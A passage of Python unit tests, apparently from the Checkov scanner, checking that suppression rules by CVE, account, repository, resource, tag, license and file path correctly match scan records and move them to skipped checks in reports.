'CvesAccounts', 'policyId': 'BC_VUL_1', 'comment': 'suppress by accounts', 'cves': ['CVE-2021-44420', 'CVE-2021-45452'], 'accountIds': ['customer_some/repo', 'customer_second/repo'], 'checkovPolicyId': 'BC_VUL_1' } record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-44420'}) record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-45452'}) record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) # with not matching repo-id instance2 = BcPlatformIntegration() instance2.repo_id = 'wrong/repo' suppressions_integration = SuppressionsIntegration(instance2) suppressions_integration._init_repo_regex() self.assertFalse(suppressions_integration._check_suppression(record1, suppression)) def test_suppress_by_cve_accounts_without_repo_id_image_scan(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'CvesAccounts', 'policyId': 'BC_VUL_1', 'comment': 'suppress by accounts', 'cves': ['CVE-2021-44420', 'CVE-2021-45452'], 'accountIds': ['some/repo', 'second/repo'], 'checkovPolicyId': 'BC_VUL_1' } record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-44420'}) record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-45452'}) record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) self.assertFalse(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) def test_supress_by_cve_for_package_scan(self): instance = BcPlatformIntegration() instance.repo_id = 'some/repo' instance.source_id = f"customer_{instance.repo_id}" suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'Cves', 'policyId': 'BC_VUL_2', 'comment': 'suppress cve ', 'accountIds': ['customer_some/repo'], 'cves': [ {'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/requirements.txt', 'cve': 'CVE-2022-35920'}, {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/requirements.txt', 'cve': 'CVE-2021-23727'}], 'checkovPolicyId': 'BC_VUL_2' } record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='requirements.txt', entity_tags=None, vulnerability_details={'id': 'CVE-2022-35920'}) record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='requirements.txt', entity_tags=None, vulnerability_details={'id': 'CVE-2021-23727'}) record3 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='requirements.txt', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) record4 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='notrequirements.txt', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) record5 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='home/requirements.txt', entity_tags=None, vulnerability_details={'id': 'CVE-2021-23727'}) record5.file_path = '/requirements.txt' self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) self.assertFalse(suppressions_integration._check_suppression(record4, suppression)) self.assertTrue(suppressions_integration._check_suppression(record5, suppression)) def test_suppress_by_cve_with_empty_cves(self): instance = BcPlatformIntegration() instance.repo_id = 'repo/path' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'Cves', 'policyId': 'BC_VUL_2', 'comment': 'suppress cve ', 'cves': [], 'checkovPolicyId': 'BC_VUL_2' } record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path='repo/path', file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2022-35920'}) self.assertFalse(suppressions_integration._check_suppression(record1, suppression)) def test_supress_by_cve_for_package_scan_with_different_repo_id(self): instance = BcPlatformIntegration() instance.repo_id = 'some/repo' instance.source_id = f"customer_{instance.repo_id}" suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'Cves', 'policyId': 'BC_VUL_2', 'comment': 'suppress cve ', 'accountIds': ['customer_other/repo'], 'cves': [ {'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/requirements.txt', 'cve': 'CVE-2022-35920'}, {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/requirements.txt', 'cve': 'CVE-2021-23727'}], 'checkovPolicyId': 'BC_VUL_2' } record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='requirements.txt', entity_tags=None, vulnerability_details={'id': 'CVE-2022-35920'}) record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='requirements.txt', entity_tags=None, vulnerability_details={'id': 'CVE-2021-23727'}) record3 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='requirements.txt', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) record4 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='notrequirements.txt', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) self.assertFalse(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) self.assertFalse(suppressions_integration._check_suppression(record4, suppression)) def test_supress_by_cve_for_image_scan(self): instance = BcPlatformIntegration() instance.repo_id = 'some/repo' instance.source_id = f"customer_{instance.repo_id}" suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'Cves', 'policyId': 'BC_VUL_1', 'comment': 'suppress cve ', 'accountIds': ['customer_some/repo'], 'cves': [{'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/dockerfile/Dockerfile', 'cve': 'CVE-2022-35920'}, {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/dockerfile/Dockerfile', 'cve': 'CVE-2021-23727'}], 'checkovPolicyId': 'BC_VUL_1' } record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='path/to/some/repo/dockerfile/Dockerfile', entity_tags=None, vulnerability_details={'id': 'CVE-2022-35920'}) record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='path/to/some/repo/dockerfile/Dockerfile', entity_tags=None, vulnerability_details={'id': 'CVE-2021-23727'}) record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='path/to/some/repos/dockerfile/Dockerfile', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) record4 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='path/to/some/repo/notdockerfile/Dockerfile', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) self.assertFalse(suppressions_integration._check_suppression(record4, suppression)) def test_supress_by_cve_for_image_scan_with_different_repo_id(self): instance = BcPlatformIntegration() instance.repo_id = 'some/repo' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'Cves', 'policyId': 'BC_VUL_1', 'comment': 'suppress cve ', 'accountIds': ['other/repo'], 'cves': [{'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/dockerfile/Dockerfile', 'cve': 'CVE-2022-35920'}, {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/dockerfile/Dockerfile', 'cve': 'CVE-2021-23727'}], 'checkovPolicyId': 'BC_VUL_1' } record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='other/repo/dockerfile/Dockerfile', entity_tags=None, vulnerability_details={'id': 'CVE-2022-35920'}) record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='other/repo/dockerfile/Dockerfile', entity_tags=None, vulnerability_details={'id': 'CVE-2021-23727'}) record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='other/repo/dockerfile/Dockerfile', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) record4 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='other/repo/dockerfile/Dockerfile', entity_tags=None, vulnerability_details={'id': 'CVE-2022-45452'}) self.assertFalse(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) self.assertFalse(suppressions_integration._check_suppression(record4, suppression)) def test_supress_by_cve_for_image_scan_without_accountIds(self): instance = BcPlatformIntegration() instance.repo_id = '/dockerfile/Dockerfile' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'Cves', 'policyId': 'BC_VUL_1', 'comment': 'suppress cve ', 'cves': [{'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/dockerfile/Dockerfile', 'cve': 'CVE-2022-35920'}, {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/dockerfile/Dockerfile', 'cve': 'CVE-2021-23727'}], 'checkovPolicyId': 'BC_VUL_1' } record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path='/dockerfile/Dockerfile', file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2022-35920'}) record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path='/dockerfile/Dockerfile', file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-23727'}) self.assertFalse(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) def test_supress_by_cve_for_package_scan_without_accountIds(self): instance = BcPlatformIntegration() instance.repo_id = 'repo/path' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { 'suppressionType': 'Cves', 'policyId': 'BC_VUL_2', 'comment': 'suppress cve ', 'cves': [{'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': 'repo/path', 'cve': 'CVE-2022-35920'}, {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': 'repo/path', 'cve': 'CVE-2021-23727'}], 'checkovPolicyId': 'BC_VUL_2' } record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path='repo/path', file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2022-35920'}) record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None, code_block=None, file_path='repo/path', file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'id': 'CVE-2021-23727'}) self.assertFalse(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) def test_suppress_licenses_by_policy(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppression = {'suppressionType': 'Policy', 'policyId': 'BC_LIC_1', 'comment': 'test licenses suppressions by policy ', 'checkovPolicyId': 'BC_LIC_1' } record1 = Record(check_id='BC_LIC_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'license': 'JSON'}) record2 = Record(check_id='BC_LIC_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'license': 'GPL-1.0'}) record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'license': 'GPL-2.0'}) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) def test_supress_licenses_by_type(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppression = {'suppressionType': 'LicenseType', 'policyId': 'BC_LIC_1', 'comment': 'test licenses suppressions by type ', 'licenseTypes': ['GPL-1.0', 'JSON'], 'checkovPolicyId': 'BC_LIC_1' } record1 = Record(check_id='BC_LIC_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'license': 'JSON'}) record2 = Record(check_id='BC_LIC_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'license': 'GPL-1.0'}) record3 = Record(check_id='BC_LIC_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'license': 'GPL-2.0'}) record4 = Record(check_id='BC_LIC_2', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None, vulnerability_details={'license': 'GPL-1.0'}) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) self.assertFalse(suppressions_integration._check_suppression(record4, suppression)) def test_account_suppression(self): instance = BcPlatformIntegration() instance.repo_id = 'org/repo' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "suppressionType": "Accounts", "policyId": "BC_AWS_S3_13", "comment": "testing checkov", "accountIds": ["org/repo", "not/valid"], "checkovPolicyId": "CKV_AWS_18", } record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) def test_repo_v2_suppression(self): instance = BcPlatformIntegration() instance.repo_id = 'org/repo' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "ruleType": "repository", "repositories": [ {"repositoryName": "org/repo"}, {"repositoryName": "not/valid"} ], "checkovPolicyIds": ["CKV_AWS_18", "CKV_AWS_19"], } # this is actually almost the same as a policy check, except we care about the repo name in the integration # record details do not matter, except policy ID record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2 = Record(check_id='CKV_AWS_19', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression_v2(record3, suppression)) instance.repo_id = 'another/repo' self.assertFalse(suppressions_integration._check_suppression_v2(record1, suppression)) def test_account_suppression_cli_repo(self): instance = BcPlatformIntegration() instance.repo_id = 'org/repo' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "suppressionType": "Accounts", "policyId": "BC_AWS_S3_13", "comment": "testing checkov", "accountIds": ["bcorg_org/repo", "bcorg_not/valid"], "checkovPolicyId": "CKV_AWS_18", } record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) def test_repo_v2_suppression_cli_repo(self): instance = BcPlatformIntegration() instance.repo_id = 'org/repo' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "ruleType": "repository", "repositories": [ {"repositoryName": "1234_org/repo"}, {"repositoryName": "1234_not/valid"} ], "checkovPolicyIds": ["CKV_AWS_18", "CKV_AWS_19"], } # this is actually almost the same as a policy check, except we care about the repo name in the integration # record details do not matter, except policy ID record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2 = Record(check_id='CKV_AWS_19', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression_v2(record3, suppression)) instance.repo_id = 'another/repo' self.assertFalse(suppressions_integration._check_suppression_v2(record1, suppression)) def test_resource_suppression(self): instance = BcPlatformIntegration() instance.repo_id = 'org/repo' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "suppressionType": "Resources", "policyId": "BC_AWS_S3_13", "comment": "No justification comment provided.", "resources": [ { "accountId": "org/repo", "resourceId": "/terraform/aws/s3.tf:aws_s3_bucket.operations", } ], "checkovPolicyId": "CKV_AWS_18", } record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path=',.', entity_tags=None) record1.repo_file_path = '/terraform/aws/s3.tf' record2 = Record(check_id='CKV_AWS_13', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.no', evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2.repo_file_path = '/terraform/aws/s3.tf' record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record3.repo_file_path = '/terraform/aws/s3.tf' # cases for when the CWD of the process is outside the repo record4 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record4.file_path = '/terraform/aws/s3.tf' record4.repo_file_path = '/some/abs/path/to/terraform/aws/s3.tf' record5 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record5.file_path = '\\terraform\\aws\\s3.tf' record5.repo_file_path = '/some/abs/path/to/terraform/aws/s3.tf' self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) self.assertTrue(suppressions_integration._check_suppression(record4, suppression)) self.assertTrue(suppressions_integration._check_suppression(record5, suppression)) def test_resource_suppression_cli_repo(self): instance = BcPlatformIntegration() instance.repo_id = 'org/repo' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "suppressionType": "Resources", "policyId": "BC_AWS_S3_13", "comment": "No justification comment provided.", "resources": [ { "accountId": "bcorg_org/repo", "resourceId": "/terraform/aws/s3.tf:aws_s3_bucket.operations", } ], "checkovPolicyId": "CKV_AWS_18", } record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path=',.', entity_tags=None) record1.repo_file_path = '/terraform/aws/s3.tf' record2 = Record(check_id='CKV_AWS_13', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.no', evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2.repo_file_path = '/terraform/aws/s3.tf' record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record3.repo_file_path = '/terraform/aws/s3.tf' self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression(record3, suppression)) def test_tag_suppression(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "suppressionType": "Tags", "policyId": "BC_AWS_S3_16", "comment": "No justification comment provided.", "tags": [ { "value": "value1", "key": "tag1" }, { "value": "value2", "key": "tag2" } ], "checkovPolicyId": "CKV_AWS_21", } record1 = Record(check_id='CKV_AWS_21', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path=',.', entity_tags={ 'tag1': 'value1' }) record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.no', evaluations=None, check_class=None, file_abs_path='.', entity_tags={ 'tag1': 'value1' }) record3 = Record(check_id='CKV_AWS_21', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path='.', entity_tags={ 'tag1': 'value2222', 'tag2': 'value2' }) record4 = Record(check_id='CKV_AWS_21', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path='.', entity_tags={ 'tag1': 'value2222', 'tag2': 'value1111' }) record5 = Record(check_id='CKV_AWS_21', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource='aws_s3_bucket.operations', evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) self.assertTrue(suppressions_integration._check_suppression(record1, suppression)) self.assertFalse(suppressions_integration._check_suppression(record2, suppression)) self.assertTrue(suppressions_integration._check_suppression(record3, suppression)) self.assertFalse(suppressions_integration._check_suppression(record4, suppression)) self.assertFalse(suppressions_integration._check_suppression(record5, suppression)) def test_file_v2_suppression_cli_repo(self): instance = BcPlatformIntegration() instance.repo_id = 'org/repo' suppressions_integration = SuppressionsIntegration(instance) suppressions_integration._init_repo_regex() suppression = { "ruleType": "file", "files": [ { "repositoryName": "1234_org/repo", "filePath": "test/file.txt" }, { "repositoryName": "1234_org/repo2", "filePath": "/test/file2.txt" }, { "repositoryName": "1234_not/valid", "filePath": "/test/file3.txt" } ], "checkovPolicyIds": ["CKV_AWS_18", "CKV_AWS_19"], } # this is actually almost the same as a policy check, except we care about the repo name in the integration # record details do not matter, except policy ID record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record1.repo_file_path = '/test/file.txt' record2 = Record(check_id='CKV_AWS_19', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2.repo_file_path = 'test/file.txt' # should still match despite missing slash record3 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record3.repo_file_path = '/test/file2.txt' record4 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record4.repo_file_path = 'test/file.txt' self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression)) self.assertFalse(suppressions_integration._check_suppression_v2(record3, suppression)) # right file, wrong repo self.assertFalse(suppressions_integration._check_suppression_v2(record4, suppression)) record1.repo_file_path = '/test/file2.txt' record2.repo_file_path = 'test/file2.txt' instance.repo_id = 'org/repo2' # now check the same thing but with a leading slash in the suppression file self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression)) self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression)) instance.repo_id = 'another/repo' self.assertFalse(suppressions_integration._check_suppression_v2(record1, suppression)) def test_apply_suppressions_to_report(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppression = { "suppressionType": "Policy", "id": "7caab873-7400-47f9-8b3f-82b33d0463ed", "policyId": "BC_AWS_GENERAL_31", "comment": "No justification comment provided.", "checkovPolicyId": "CKV_AWS_79", "isV1": True } suppressions_integration.suppressions = {suppression['checkovPolicyId']: [suppression]} record1 = Record(check_id='CKV_AWS_79', check_name=None, check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['multi_az']}, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['multi_az']}, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record3 = Record(check_id='CKV_AWS_79', check_name=None, check_result={'result': CheckResult.PASSED, 'evaluated_keys': ['multi_az']}, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) record4 = Record(check_id='CKV_AWS_2', check_name=None, check_result={'result': CheckResult.PASSED, 'evaluated_keys': ['multi_az']}, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, file_abs_path='.', entity_tags=None) report = Report('terraform') report.add_record(record1) report.add_record(record2) report.add_record(record3) report.add_record(record4) suppressions_integration._apply_suppressions_to_report(report) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.failed_checks[0].check_id, 'CKV_AWS_1') self.assertEqual(len(report.passed_checks), 1) self.assertEqual(report.passed_checks[0].check_id, 'CKV_AWS_2') self.assertEqual(len(report.skipped_checks), 2) self.assertEqual(report.skipped_checks[0].check_result['suppress_comment'], "No justification comment provided.") def test_apply_suppressions_to_report_with_v2(self): instance = BcPlatformIntegration() suppressions_integration = SuppressionsIntegration(instance) suppression = { "ruleType": "policy", "checkovPolicyIds": ["CKV_AWS_79", "CKV_AWS_80"], "isV1": False, "justificationComment": "comment" } suppressions_integration.suppressions_v2 = {id: [suppression] for id in suppression['checkovPolicyIds']} record1 = Record(check_id='CKV_AWS_79', check_name=None, check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['multi_az']}, code_block=None, file_path=None, file_line_range=None, resource=None, evaluations=None, check_class=None, 